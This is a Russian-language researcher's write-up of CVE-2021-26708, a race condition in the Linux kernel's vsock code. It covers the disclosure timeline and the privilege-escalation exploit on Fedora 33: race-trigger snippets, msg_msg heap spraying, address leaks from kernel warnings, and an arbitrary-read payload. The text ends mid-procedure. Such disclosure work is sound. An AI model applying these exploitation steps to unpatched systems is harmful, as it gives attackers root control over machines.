November 7, 2021

Сила четырех байтов. Как я нашел уязвимость CVE-2021-26708 в ядре Linux

В янва­ре 2021 года я обна­ружил и устра­нил пять уяз­вимос­тей в реали­зации вир­туаль­ных сокетов ядра Linux, которые получи­ли иден­тифика­тор CVE-2021-26708. В этой статье я деталь­но рас­ска­жу об экс­плу­ата­ции одной из них с целью локаль­ного повыше­ния при­виле­гий на Fedora 33 Server для плат­формы x86_64. Я покажу, как с помощью неболь­шой ошиб­ки дос­тупа к памяти ата­кующий может получить кон­троль над всей опе­раци­онной сис­темой и при этом обой­ти средс­тва обес­печения безопас­ности плат­формы. В зак­лючение я рас­ска­жу про воз­можные средс­тва пре­дот­вра­щения ата­ки.

С док­ладом по этой теме я выс­тупил на кон­ферен­ции Zer0Con 2021. Получи­лось инте­рес­ное иссле­дова­ние. Сос­тояние гон­ки в ядре Linux при­водит к пор­че четырех бай­тов в ядер­ной памяти, и я пос­тепен­но прев­ращаю это в про­изволь­ное чте­ние/запись и пол­ный кон­троль над сис­темой. Поэто­му я наз­вал статью «Сила четырех бай­тов».

УЯЗВИМОСТИ

Уяз­вимос­ти CVE-2021-26708 — это сос­тояния гон­ки, выз­ванные неп­равиль­ной работой с при­мити­вами син­хро­низа­ции в net/vmw_vsock/af_vsock.c. Эти ошиб­ки были неяв­но вне­сены в код ядра вер­сии 5.5-rc1 в нояб­ре 2019 года, ког­да в реали­зацию вир­туаль­ных сокетов была добав­лена под­дер­жка нес­коль­ких типов тран­спор­та. Эти сокеты в ядре Linux слу­жат для обще­ния меж­ду вир­туаль­ными машина­ми и гипер­визором.

Уяз­вимый код пос­тавля­ется в дис­три­бути­вах GNU/Linux в виде модулей CONFIG_VSOCKETS и CONFIG_VIRTIO_VSOCKETS. Эти модули авто­мати­чес­ки заг­ружа­ются сис­темой при соз­дании сокета в домене AF_VSOCK:

vsock = socket(AF_VSOCK, SOCK_STREAM, 0);

Соз­дание сокета в домене AF_VSOCK дос­тупно неп­ривиле­гиро­ван­ным поль­зовате­лям и не тре­бует наличия фун­кци­ональ­нос­ти user namespaces. Таким обра­зом, вир­туаль­ные сокеты сос­тавля­ют часть повер­хнос­ти ата­ки ядра Linux.

ОШИБКИ И ИСПРАВЛЕНИЯ

11 янва­ря я про­верял резуль­таты фаз­зинга ядра на сво­их стен­дах и обна­ружил подоз­ритель­ный отказ ядра в фун­кции virtio_transport_notify_buffer_size(). Было стран­но, что фаз­зер не смог пов­торно вос­про­извести этот эффект, поэто­му я стал изу­чать исходный код и раз­рабаты­вать прог­рамму‑реп­родюсер вруч­ную.

Нес­коль­ко дней спус­тя я нашел ошиб­ку в ядер­ной фун­кции vsock_stream_setsockopt(), которую слов­но добави­ли спе­циаль­но:

struct sock *sk;

struct vsock_sock *vsk;

const struct vsock_transport *transport;

/* ... */

sk = sock->sk;

vsk = vsock_sk(sk);

transport = vsk->transport;

lock_sock(sk);

Здесь ука­затель на тран­спорт вир­туаль­ного сокета копиру­ется в локаль­ную перемен­ную пе­ред вызовом фун­кции lock_sock(). Но ведь зна­чение vsk->transport может изме­нить­ся, ког­да бло­киров­ка на сокет еще не уста­нов­лена! Это оче­вид­ное сос­тояние гон­ки. Я про­верил весь код в фай­ле af_vsock.c и нашел еще четыре такие же ошиб­ки.

Ис­тория раз­работ­ки ядра в Git помог­ла понять, как появи­лись эти пять оши­бок. Дело в том, что изна­чаль­но тран­спорт вир­туаль­ного сокета не мог изме­нить­ся, то есть мож­но было безопас­но копиро­вать зна­чение vsk->transport в локаль­ную перемен­ную. Но потом в ком­митах c0cfa2d8a788fcf4 и 6a2c0962105ae8ce для вир­туаль­ных сокетов была добав­лена под­дер­жка нес­коль­ких видов тран­спор­та, и это неяв­но внес­ло в ядро сра­зу пять сос­тояний гон­ки.

Ис­пра­вить эти уяз­вимос­ти очень прос­то:

...

sk = sock->sk;

vsk = vsock_sk(sk);

- transport = vsk->transport;

lock_sock(sk);

+ transport = vsk->transport;

...

ОТВЕТСТВЕННОЕ РАЗГЛАШЕНИЕ, КОТОРОЕ ПОШЛО НЕ ТАК

30 янва­ря, пос­ле того как закон­чил про­тотип экс­пло­ита, я отпра­вил информа­цию об уяз­вимос­тях и исправ­ление (патч) по адре­су [email protected], то есть выпол­нил про­цеду­ру ответс­твен­ного раз­гла­шения (responsible disclosure). Мне опе­ратив­но отве­тили Линус Тор­валь­дс и Грег Кроа‑Хар­тман, и мы догово­рились о сле­дующем поряд­ке дей­ствий.

  1. Я отправ­ляю исправ­ляющий патч в откры­тый спи­сок рас­сылки ядра Linux (Linux Kernel Mailing List, LKML).
  2. Патч при­меня­ют в основном ядре и ста­биль­ных вер­сиях, которые были под­верже­ны уяз­вимос­тям.
  3. Я уве­дом­ляю про­изво­дите­лей GNU/Linux-дис­три­бути­вов через спи­сок рас­сылки linux-distros о том, что дан­ное исправ­ление важ­но для безопас­ности сис­темы.
  4. На­конец, я пуб­лично раз­гла­шаю информа­цию об уяз­вимос­тях через спи­сок рас­сылки [email protected], ког­да про­изво­дите­ли дис­три­бути­вов поз­волят это сде­лать.

На самом деле пер­вый пункт доволь­но спор­ный. Линус решил при­нять мой патч сра­зу, без эмбарго на раз­гла­шение (disclosure embargo), потому что «этот патч не силь­но отли­чает­ся от пат­чей, которые мы при­нима­ем каж­дый день» (the patch doesn’t look all that different from the kinds of patches we do every day). Я под­чинил­ся, но пред­ложил отпра­вить патч откры­то. Это важ­но, потому что ина­че каж­дый может отсле­дить исправ­ления безопас­ности, если отфиль­тру­ет ком­миты, которые не обсужда­лись в пуб­личном спис­ке рас­сылки. Недав­но эта тех­ника была рас­смот­рена в од­ной иссле­дова­тель­ской работе.

2 фев­раля вто­рая вер­сия моего пат­ча была при­нята в вет­ку netdev/net.git и отту­да по­пала в вет­ку Линуса. 4 фев­раля Грег при­менил мое исправ­ление в ста­биль­ных вет­ках ядра, которые были под­верже­ны уяз­вимос­тям. Сра­зу пос­ле это­го я уве­домил [email protected], что исправ­ленные уяз­вимос­ти мож­но экс­плу­ати­ровать для локаль­ного повыше­ния при­виле­гий в сис­теме. Я спро­сил, сколь­ко пот­ребу­ется вре­мени, преж­де чем я сде­лаю пуб­личное раз­гла­шение информа­ции об уяз­вимос­тях. Но я получил неожи­дан­ный ответ:

If the patch is committed upstream, then the issue is public. Please send to oss-security immediately.

То есть меня поп­росили немед­ленно рас­крыть информа­цию о най­ден­ных и исправ­ленных уяз­вимос­тях в пуб­личном спис­ке рас­сылки oss-security. Стран­но. Как бы то ни было, я зап­росил иден­тифика­тор CVE через cve.mitre.org и от­пра­вил пись­мо в спи­сок рас­сылки [email protected].

Воз­ника­ет воп­рос: нас­коль­ко эта прак­тика немед­ленно­го при­нятия пат­ча в ваниль­ное ядро сов­мести­ма с работой орга­низа­ций в linux-distros?

У меня есть контрпри­мер. Ког­да я обна­ружил ядер­ную уяз­вимость CVE-2017-2636 и выпол­нил ответс­твен­ное раз­гла­шение, Кейс Кук (Kees Cook) и Грег орга­низо­вали недель­ное эмбарго на раз­гла­шение информа­ции. Мы уве­доми­ли орга­низа­ции из linux-distros, и за эту неделю они под­готови­ли обновле­ния безопас­ности дис­три­бутив­ных ядер, в которые вошел мой исправ­ляющий патч. Затем, по окон­чании эмбарго, про­изво­дите­ли GNU/Linux-дис­три­бути­вов син­хрон­но выпус­тили обновле­ния безопас­ности. Получи­лось хорошо.

КАК ПОРТИТСЯ ЯДЕРНАЯ ПАМЯТЬ

Те­перь рас­смот­рим экс­плу­ата­цию уяз­вимос­тей CVE-2021-26708. Для локаль­ного повыше­ния при­виле­гий в сис­теме я выб­рал сос­тояние гон­ки в фун­кции vsock_stream_setsockopt(). Для того что­бы вос­про­извести эту ошиб­ку, тре­бует­ся два потока. В пер­вом потоке вызыва­ется setsockopt():

setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,

&size, sizeof(unsigned long));

Этот поток сох­раня­ет ука­затель на вир­туаль­ный тран­спорт в локаль­ную перемен­ную (в этом зак­люча­ется ошиб­ка), а затем пыта­ется зах­ватить бло­киров­ку вир­туаль­ного сокета в фун­кции vsock_stream_setsockopt(). В этот момент вто­рой поток дол­жен поменять тран­спорт вир­туаль­ного сокета. Для это­го нуж­но к нему перепод­клю­чить­ся:

struct sockaddr_vm addr = {

.svm_family = AF_VSOCK,

};

addr.svm_cid = VMADDR_CID_LOCAL;

connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

addr.svm_cid = VMADDR_CID_HYPERVISOR;

connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

При обра­бот­ке сис­темно­го вызова connect() для вир­туаль­ного сокета ядро выпол­няет фун­кцию vsock_stream_connect(), которая дер­жит бло­киров­ку вир­туаль­ного сокета. А тем вре­менем vsock_stream_setsockopt() в пер­вом потоке пыта­ется эту бло­киров­ку зах­ватить. Отлично, это то, что нуж­но для сос­тояния гон­ки. При этом фун­кция vsock_stream_connect() вызыва­ет vsock_assign_transport(), которая содер­жит инте­ресу­ющий нас код:

if (vsk->transport) {

if (vsk->transport == new_transport)

return 0;

/* transport->release() must be called with sock lock acquired.

* This path can only be taken during vsock_stream_connect(),

* where we have already held the sock lock.

* In the other cases, this function is called on a new socket

* which is not assigned to any transport.

*/

vsk->transport->release(vsk);

vsock_deassign_transport(vsk);

}

Что про­исхо­дит в этом коде? Вто­рой вызов connect() выпол­няет­ся с новым зна­чени­ем svm_cid, поэто­му для пре­дыду­щего вир­туаль­ного тран­спор­та выпол­няет­ся дес­трук­тор vsock_deassign_transport(). Он вызыва­ет фун­кцию virtio_transport_destruct(), в которой струк­тура vsock_sock.trans осво­бож­дает­ся и ука­затель vsk->transport уста­нав­лива­ется в NULL.

Пос­ле это­го vsock_stream_connect() отпуска­ет бло­киров­ку вир­туаль­ного сокета, а фун­кция vsock_stream_setsockopt() в пер­вом потоке наконец‑то может ее зах­ватить и про­дол­жить исполне­ние. Далее в пер­вом потоке вызыва­ются vsock_update_buffer_size() и transport->notify_buffer_size(). Но ука­затель transport содер­жит ус­тарев­шее неак­туаль­ное зна­чение из локаль­ной перемен­ной, оно не соот­ветс­тву­ет vsk->transport, где записан NULL. Поэто­му ядро по ошиб­ке выпол­няет обра­бот­чик virtio_transport_notify_buffer_size(), который пор­тит ядер­ную память:

void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val)

{

struct virtio_vsock_sock *vvs = vsk->trans;

if (*val > VIRTIO_VSOCK_MAX_BUF_SIZE)

*val = VIRTIO_VSOCK_MAX_BUF_SIZE;

vvs->buf_alloc = *val;

virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM, NULL);

}

Здесь vvs — это ука­затель на ядер­ную память, которая была осво­бож­дена в фун­кции virtio_transport_destruct(). Раз­мер этой струк­туры struct virtio_vsock_sock — 64 бай­та; дан­ный объ­ект живет в общем кеше алло­като­ра kmalloc-64. Поле buf_alloc, в которое про­исхо­дит оши­боч­ная запись, име­ет тип u32 и рас­положе­но по отсту­пу 40 байт от начала струк­туры. VIRTIO_VSOCK_MAX_BUF_SIZE име­ет зна­чение 0xFFFFFFFFUL и не меша­ет ата­ке. Зна­чение *val кон­тро­лиру­ется ата­кующим, и четыре млад­ших бай­та *val записы­вают­ся в осво­бож­денную ядер­ную память. То есть эта уяз­вимость при­водит к за­писи пос­ле осво­бож­дения.

ЗАГАДКА ФАЗЗИНГА

Как я уже упо­минал, фаз­зер syzkaller не смог вос­про­извести эту ошиб­ку в ядре и я был вынуж­ден писать прог­рамму‑реп­родюсер вруч­ную. Почему же так про­изош­ло? Взгляд на код фун­кции vsock_update_buffer_size() может дать ответ на этот воп­рос:

if (val != vsk->buffer_size &&

transport && transport->notify_buffer_size)

transport->notify_buffer_size(vsk, &val);

vsk->buffer_size = val;

Здесь обра­бот­чик notify_buffer_size() вызыва­ется, толь­ко если зна­чение val отли­чает­ся от текуще­го buffer_size. Дру­гими сло­вами, сис­темный вызов setsockopt(), выпол­няющий опе­рацию SO_VM_SOCKETS_BUFFER_SIZE, дол­жен вызывать­ся каж­дый раз с новым зна­чени­ем парамет­ра size. Я добил­ся это­го эффекта в моем пер­вом реп­родюсе­ре (ис­ходный код) с помощью забав­ного трю­ка:

struct timespec tp;

unsigned long size = 0;

clock_gettime(CLOCK_MONOTONIC, &tp);

size = tp.tv_nsec;

setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,

&size, sizeof(unsigned long));

Здесь зна­чение парамет­ра size берет­ся из счет­чика наносе­кунд, который воз­вра­щает фун­кция clock_gettime(), и это зна­чение с боль­шой веро­ятностью отли­чает­ся от пре­дыду­щего на каж­дой оче­ред­ной попыт­ке спро­воци­ровать сос­тояние гон­ки в ядре. Ори­гиналь­ный syzkaller без модифи­каций не может так сде­лать. Зна­чения для парамет­ров сис­темных вызовов выбира­ются, ког­да syzkaller генери­рует ввод для фаз­зинга, и они не изме­няют­ся во вре­мя самого фаз­зинга на целевой сис­теме.

Как бы то ни было, я до сих пор до кон­ца не понимаю, как syzkaller смог спро­воци­ровать этот отказ ядра. Похоже, фаз­зер сот­ворил какое‑то мно­гопо­точ­ное «вол­шебс­тво» с опе­раци­ями SO_VM_SOCKETS_BUFFER_MAX_SIZE и SO_VM_SOCKETS_BUFFER_MIN_SIZE, но затем не смог его сно­ва вос­про­извести.

Идея! Воз­можно, добав­ление спо­соб­ности ран­домизи­ровать аргу­мен­ты сис­темных вызовов в про­цес­се самого фаз­зинга поз­волит фаз­зеру syzkaller находить боль­ше оши­бок типа CVE-2021-26708. С дру­гой сто­роны, это может и ухуд­шить ста­биль­ность пов­торно­го вос­про­изве­дения уже най­ден­ных отка­зов ядра.

СИЛА ЧЕТЫРЕХ БАЙТОВ

В этом иссле­дова­нии я выб­рал объ­ектом ата­ки Fedora 33 Server с ядром Linux вер­сии 5.10.11-200.fc33.x86_64. С самого начала я нацелил­ся обой­ти SMEP и SMAP (аппа­рат­ные средс­тва защиты плат­формы x86_64).

Итак, это сос­тояние гон­ки может спро­воци­ровать запись четырех кон­тро­лиру­емых бай­тов в осво­бож­денный 64-бай­товый ядер­ный объ­ект по отсту­пу 40. Это очень огра­ничен­ный при­митив экс­плу­ата­ции, я пре­одо­лел боль­шие труд­ности, что­бы прев­ратить его в пол­ный кон­троль над сис­темой. Далее я рас­ска­жу, как раз­работал про­тотип экс­пло­ита, в хро­ноло­гичес­ком поряд­ке.

INFO

Эти иллюс­тра­ции я сде­лал из фотог­рафий экспо­натов Го­сударс­твен­ного Эрми­тажа. Замеча­тель­ный музей!

Пер­вым делом я начал работать над ста­биль­ной тех­никой heap spraying. Ее суть в том, что экс­пло­ит дол­жен выпол­нить такие дей­ствия в поль­зователь­ском прос­транс­тве, которые зас­тавят ядро выделить новый объ­ект на мес­те осво­бож­денной 64-бай­товой струк­туры virtio_vsock_sock. В этом слу­чае оши­боч­ная запись пос­ле осво­бож­дения virtio_vsock_sock испортит четыре бай­та в этом новом объ­екте, что может быть полез­но для раз­вития ата­ки.

Сна­чала я про­вел быс­трый экспе­римент с heap spraying при помощи сис­темно­го вызова add_key(). Я выпол­нил его нес­коль­ко раз сра­зу пос­ле вто­рого вызова connect(), который осво­бодил струк­туру virtio_vsock_sock. Трас­сиров­ка ядра через ftrace помог­ла убе­дить­ся, что осво­бож­денная область памяти сно­ва была алло­циро­вана. Дру­гими сло­вами, ста­ло ясно, что для это­го слу­чая впол­не при­мени­ма тех­ника heap spraying.

Сле­дующим шагом в моей стра­тегии экс­плу­ата­ции этой уяз­вимос­ти было най­ти 64-бай­товый объ­ект, который спо­собен дать более силь­ный экс­пло­ит‑при­митив, если перепи­сать в нем четыре бай­та по отсту­пу 40 байт от его начала. Ух... Не так‑то прос­то!

Моя пер­вая идея была при­менить тех­нику переза­писи iovec из экс­пло­ита Bad Binder, который опуб­ликова­ли Мэд­ди Сто­ун (Maddie Stone) и Ян Хорн (Jann Horn). Этот метод сос­тоит в том, что акку­рат­но испорчен­ный ядер­ный объ­ект iovec может дать про­изволь­ное чте­ние/запись ядер­ной памяти. Но эта идея у меня триж­ды про­вали­лась:

  1. 64-бай­товый объ­ект iovec выделя­ется в ядер­ном сте­ке, а не в куче, как необ­ходимо для ата­ки.
  2. Че­тыре бай­та по отсту­пу 40 перепи­сыва­ют поле iovec.iov_len вмес­то iovec.iov_base, поэто­му ори­гиналь­ный спо­соб здесь неп­рименим.
  3. Эта тех­ника с переза­писью iovec была устра­нена в ядре начиная с вер­сии 4.13. Велико­леп­ный Ал Виро (Al Viro) сде­лал это в ком­мите 09fc68dc66f7597b в июне 2017 года:
We have NOT done access_ok() recently enough; we rely upon the iovec array having passed sanity checks back when it had been created and not nothing having buggered it since. However, that's very much non-local, so we’d better recheck that.

Пос­ле изну­ритель­ных экспе­римен­тов с нес­коль­кими дру­гими ядер­ными объ­екта­ми, при­год­ными для heap spraying, я наконец нашел сис­темный вызов msgsnd(). При его обра­бот­ке в прос­транс­тве ядра соз­дает­ся струк­тура msg_msg. Вот вывод ути­литы pahole для нее:

struct msg_msg {

struct list_head m_list; /* 0 16 */

long int m_type; /* 16 8 */

size_t m_ts; /* 24 8 */

struct msg_msgseg * next; /* 32 8 */

void * security; /* 40 8 */

/* size: 48, cachelines: 1, members: 5 */

/* last cacheline: 48 bytes */

};

В сущ­ности, это заголо­вок сооб­щения, за которым сле­дуют дан­ные. Если струк­тура msgbuf в поль­зователь­ском прос­транс­тве име­ет 16 байт в mtext, то соот­ветс­тву­ющая ей ядер­ная струк­тура msg_msg соз­дает­ся в кеше алло­като­ра kmalloc-64, как и уяз­вимый объ­ект virtio_vsock_sock. Переза­пись четырех бай­тов по отсту­пу 40 пор­тит млад­шую часть ука­зате­ля void *security. Таким обра­зом, в экс­пло­ите я исполь­зую поле security, что­бы сло­мать Linux security. Такая иро­ния.

Ука­затель msg_msg.security ссы­лает­ся на память в ядер­ной куче, которая выделя­ется в фун­кции lsm_msg_msg_alloc(). В слу­чае Fedora она исполь­зует­ся под­систе­мой безопас­ности SELinux. Осво­бож­дает­ся эта память в фун­кции security_msg_msg_free() при при­еме сооб­щения msg_msg. То есть переза­пись экс­пло­итом млад­шей час­ти ука­зате­ля security (плат­форма x86_64 хра­нит бай­ты в поряд­ке от млад­шего к стар­шему) может дать новый, более мощ­ный при­митив экс­плу­ата­ции — ос­вобож­дение про­изволь­ного адре­са, или arbitrary free.

INFOLEAK В КАЧЕСТВЕ БОНУСА

По­лучив при­митив осво­бож­дения про­изволь­ного адре­са, я стал думать, про­тив какого ядер­ного объ­екта его мож­но при­менить. И здесь я вос­поль­зовал­ся трю­ком из моего экс­пло­ита для CVE-2019-18683. Как я уже упо­минал, пов­торный сис­темный вызов connect() выпол­няет фун­кцию vsock_deassign_transport(), которая записы­вает NULL в vsk->transport. Это при­водит к тому, что далее в фун­кции vsock_stream_setsockopt() ядро выводит пре­дуп­режде­ние (kernel warning):

WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34

...

CPU: 1 PID: 6739 Comm: racer Tainted: G W 5.10.11-200.fc33.x86_64 #1

Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014

RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 [vmw_vsock_virtio_transport_common]

...

RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246

RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80

RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0

RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000

R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008

R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0

FS: 00007f2f123d5640(0000) GS:ffff88817bd00000(0000) knlGS:0000000000000000

CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033

CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0

Call Trace:

virtio_transport_notify_buffer_size+0x60/0x70 [vmw_vsock_virtio_transport_common]

vsock_update_buffer_size+0x5f/0x70 [vsock]

vsock_stream_setsockopt+0x128/0x270 [vsock]

...

Это пре­дуп­режде­ние воз­ника­ет сра­зу пос­ле записи в осво­бож­денную ядер­ную память. Это боль­шая уда­ча для ата­кующе­го, ведь на Fedora неп­ривиле­гиро­ван­ный поль­зователь может читать ядер­ный жур­нал /dev/kmsg.

С помощью отладчи­ка GDB я уста­новил, что зна­чение регис­тра RCX, которое ядро выда­ет в этом пре­дуп­режде­нии, — это адрес осво­бож­денно­го объ­екта virtio_vsock_sock, а зна­чение RBX — адрес объ­екта vsock_sock. Отлично! Как толь­ко в ядер­ном жур­нале появи­лось оче­ред­ное такое пре­дуп­режде­ние, ата­кующий зна­ет, что экс­пло­ит сно­ва спро­воци­ровал сос­тояние гон­ки, а из рас­печатан­ных зна­чений регис­тров мож­но извлечь нуж­ные ядер­ные адре­са.

ОТ ОСВОБОЖДЕНИЯ ПРОИЗВОЛЬНОГО АДРЕСА К ИСПОЛЬЗОВАНИЮ ПОСЛЕ ОСВОБОЖДЕНИЯ

Да­лее я пла­ниро­вал прев­ратить при­митив осво­бож­дения про­изволь­ного адре­са в исполь­зование пос­ле осво­бож­дения (use-after-free). Для это­го я собирал­ся:

  1. Ос­вободить ядер­ный объ­ект, исполь­зуя адрес из пре­дуп­режде­ния в ядер­ном жур­нале.
  2. Вы­пол­нить heap spraying, что­бы переза­писать осво­бож­денный объ­ект кон­тро­лиру­емы­ми дан­ными.
  3. Под­нять при­виле­гии экс­пло­ита с помощью это­го испорчен­ного ядер­ного объ­екта.

Сна­чала я поп­робовал осво­бодить память, при­над­лежащую vsock_sock (его адрес утек через регистр RBX), потому что это боль­шой ядер­ный объ­ект со мно­жес­твом инте­рес­ных дан­ных. Но все объ­екты vsock_sock выделя­ются в отдель­ном кеше алло­като­ра, для которо­го нет воз­можнос­ти исполь­зовать стан­дар­тную тех­нику heap spraying.

По­это­му я решил выпол­нять осво­бож­дение памяти по адре­су из регис­тра RCX. Я стал искать 64-бай­товый объ­ект ядра, который содер­жит адре­са и дру­гие дан­ные, полез­ные для экс­плу­ата­ции use-after-free. Более того, экс­пло­ит дол­жен иметь воз­можность выпол­нить в поль­зователь­ском прос­транс­тве дей­ствие, которое спро­воци­рует соз­дание это­го ядер­ного объ­екта на мес­те осво­бож­денно­го virtio_vsock_sock. Поиск такого осо­бого объ­екта в ядре Linux был очень дол­гим и изну­ритель­ным. Я даже исполь­зовал для это­го сге­нери­рован­ный фаз­зером набор прог­рамм, что­бы как‑то авто­мати­зиро­вать мой поиск.

Па­рал­лель­но с этим я про­дол­жал изу­чать, как имен­но ядро Linux обра­баты­вает сооб­щения System V, так как объ­екты msg_msg уже исполь­зовались в этом экс­пло­ите для heap spraying. И тут мне приш­ла замеча­тель­ная идея, как пере­исполь­зовать msg_msg для экс­плу­ата­ции use-after-free.

ПРОИЗВОЛЬНОЕ ЧТЕНИЕ ЯДЕРНОЙ ПАМЯТИ

В ядер­ной реали­зации сооб­щений System V опре­делен мак­сималь­ный раз­мер сооб­щения DATALEN_MSG, который равен PAGE_SIZE минус sizeof(struct msg_msg)). Если отпра­вить сооб­щение боль­шего раз­мера, не помес­тивши­еся дан­ные сох­раня­ются в связ­ном спис­ке сег­ментов. Для это­го струк­тура msg_msg содер­жит поле struct msg_msgseg *next, которое ука­зыва­ет на пер­вый сег­мент, и поле size_t m_ts, в котором хра­нит­ся сум­марный раз­мер дан­ных в сооб­щении.

От­лично! Я могу раз­местить кон­тро­лиру­емые дан­ные в msg_msg.m_ts и msg_msg.next, ког­да я переза­писы­ваю сооб­щение пос­ле того, как исполь­зую про­тив него при­митив про­изволь­ного осво­бож­дения памяти.

Здесь важ­но отме­тить, что я не перепи­сываю поле msg_msg.security, что­бы не сло­мать про­вер­ку раз­решений под­систе­мы SELinux. Это воз­можно, если исполь­зовать замеча­тель­ную тех­нику setxattr() & userfaultfd() heap spraying, которую опуб­ликовал Виталий Николен­ко. Под­сказ­ка: я рас­полагаю полез­ную наг­рузку для heap spraying на гра­нице стра­ниц так, что­бы ядер­ная фун­кция copy_from_user() оста­нови­лась с отка­зом стра­ницы (page fault) пря­мо перед переза­писью поля msg_msg.security. Вот как выг­лядит часть экс­пло­ита, которая под­готав­лива­ет эту полез­ную наг­рузку:

#define PAYLOAD_SZ 40

void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr)

{

struct msg_msg *msg_ptr;

xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ;

/* Don’t touch the second part

* to avoid breaking page fault delivery

*/

memset(spray_data, 0xa5, PAGE_SIZE * 4);

printf("[+] adapt the msg_msg spraying payload:\n");

msg_ptr = (struct msg_msg *)xattr_addr;

msg_ptr->m_type = 0x1337;

msg_ptr->m_ts = ARB_READ_SZ;

/* set the segment ptr for arbitrary read */

msg_ptr->next = (struct msg_msgseg *)kaddr;

printf("\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n",

msg_ptr,

msg_ptr->m_type, &(msg_ptr->m_type),

msg_ptr->m_ts, &(msg_ptr->m_ts),

msg_ptr->next, &(msg_ptr->next));

}

Но как же вычитать ядер­ные дан­ные с помощью это­го ата­кован­ного msg_msg? При­ем такого сооб­щения тре­бует манипу­ляций с оче­редью сооб­щений System V, а это при­водит к отка­зу ядра из‑за испорчен­ного ука­зате­ля msg_msg.m_list, в который я записал 0xa5a5a5a5a5a5a5a5 (мне недос­тупно его кор­рек­тное зна­чение). Сна­чала мне в голову приш­ла идея прос­то записать в этот ука­затель адрес дру­гого сооб­щения msg_msg, но от это­го ядро завис­ло, потому что про­ход по связ­ному спис­ку оче­реди сооб­щений System V не смог завер­шить­ся.

Изу­чение до­кумен­тации на сис­темный вызов msgrcv() помог­ло най­ти рабочее решение: я вос­поль­зовал­ся msgrcv() с фла­гом MSG_COPY:

INFO

MSG_COPY (начиная с Linux 3.8)

За­бира­ет копию сооб­щения без уда­ления из началь­ной позиции в оче­реди, задан­ной в msgtyp (сооб­щения нумеру­ются начиная с 0).

С этим фла­гом ядро копиру­ет дан­ные сооб­щения в поль­зователь­ское прос­транс­тво без уда­ления из оче­реди сооб­щений. Это то, что нуж­но! Флаг MSG_COPY дос­тупен в ядре, если оно соб­рано с опци­ей CONFIG_CHECKPOINT_RESTORE=y, что выпол­няет­ся для Fedora Server.

ПРОИЗВОЛЬНОЕ ЧТЕНИЕ: ПОШАГОВАЯ ПРОЦЕДУРА

Вот как выг­лядит пошаго­вая про­цеду­ра, с помощью которой мой экс­пло­ит выпол­няет чте­ние про­изволь­ной ядер­ной памяти:

  1. Под­готовить ата­ку:
  2. Вы­чис­лить количес­тво дос­тупных CPU с помощью sched_getaffinity() и CPU_COUNT() (для экс­плу­ата­ции этой уяз­вимос­ти тре­бует­ся не менее двух CPU).
  3. От­крыть ядер­ный жур­нал /dev/kmsg для отсле­жива­ния пре­дуп­режде­ний ядра.
  4. Ис­поль­зуя mmap(), выделить память для spray_data и уста­новить userfaultfd() на конец это­го реги­она памяти.
  5. За­пус­тить отдель­ный поток (pthread) для обра­бот­ки событий userfaultfd().
  6. За­пус­тить 127 потоков для выпол­нения setxattr() & userfaultfd() heap spraying и оста­новить их ждать на барь­ере pthread_barrier.
  7. По­лучить ядер­ный адрес исправ­ного сооб­щения msg_msg. Для это­го:
  8. Дос­тичь сос­тояния гон­ки на вир­туаль­ном сокете, как было опи­сано выше.
  9. По­дож­дать 35 мик­росекунд пос­ле вто­рого сис­темно­го вызова connect(), в котором ядро осво­бож­дает объ­ект virtio_vsock_sock.
  10. Выз­вать msgsnd() для отдель­ной оче­реди сооб­щений; ядро помеща­ет msg_msg на мес­то осво­бож­денно­го объ­екта virtio_vsock_sock уже пос­ле пор­чи ядер­ной памяти из‑за этой задер­жки в 35 мик­росекунд.
  11. Вы­читать пре­дуп­режде­ние в ядер­ном жур­нале и сох­ранить ядер­ный адрес соз­данно­го объ­екта msg_msg (содер­жится в регис­тре RCX). Еще раз отме­чу, что дан­ные это­го сооб­щения не были испорче­ны из‑за уяз­вимос­ти, это важ­но для даль­нейше­го раз­вития ата­ки.
  12. Сох­ранить ядер­ный адрес струк­туры vsock_sock из регис­тра RBX.
  13. Ос­вободить память исправ­ного объ­екта msg_msg с помощью испорчен­ного объ­екта msg_msg. Для это­го:
  14. Ис­поль­зовать четыре бай­та адре­са исправ­ного msg_msg в качес­тве зна­чения SO_VM_SOCKETS_BUFFER_SIZE; эти четыре бай­та будут исполь­зованы при пор­че памяти — записа­ны в осво­бож­денную ядер­ную память.
  15. Дос­тичь сос­тояния гон­ки на вир­туаль­ном сокете.
  16. Выз­вать msgsnd() сра­зу пос­ле вто­рого сис­темно­го вызова connect(); ядро помеща­ет сооб­щение msg_msg на мес­то осво­бож­денно­го объ­екта virtio_vsock_sock и пор­тит четыре бай­та в его поле msg_msg.security.
  17. Те­перь ука­затель security испорчен­ного сооб­щения msg_msg содер­жит адрес исправ­ного сооб­щения msg_msg (из шага 2).
  18. Ес­ли переза­пись msg_msg.security из потока, выпол­няюще­го setsockopt(), про­исхо­дит во вре­мя обра­бот­ки сис­темно­го вызова msgsnd(), то про­вер­ка раз­решения SELinux завер­шает­ся неус­пешно.
  19. В этом слу­чае сис­темный вызов msgsnd() воз­вра­щает -1, а испорчен­ное сооб­щение msg_msg унич­тожа­ется. Таким обра­зом, осво­бож­дение памяти, на которую ука­зыва­ет испорчен­ный ука­затель msg_msg.security, при­водит к осво­бож­дению исправ­ного сооб­щения msg_msg, которое было соз­дано на вто­ром шаге.
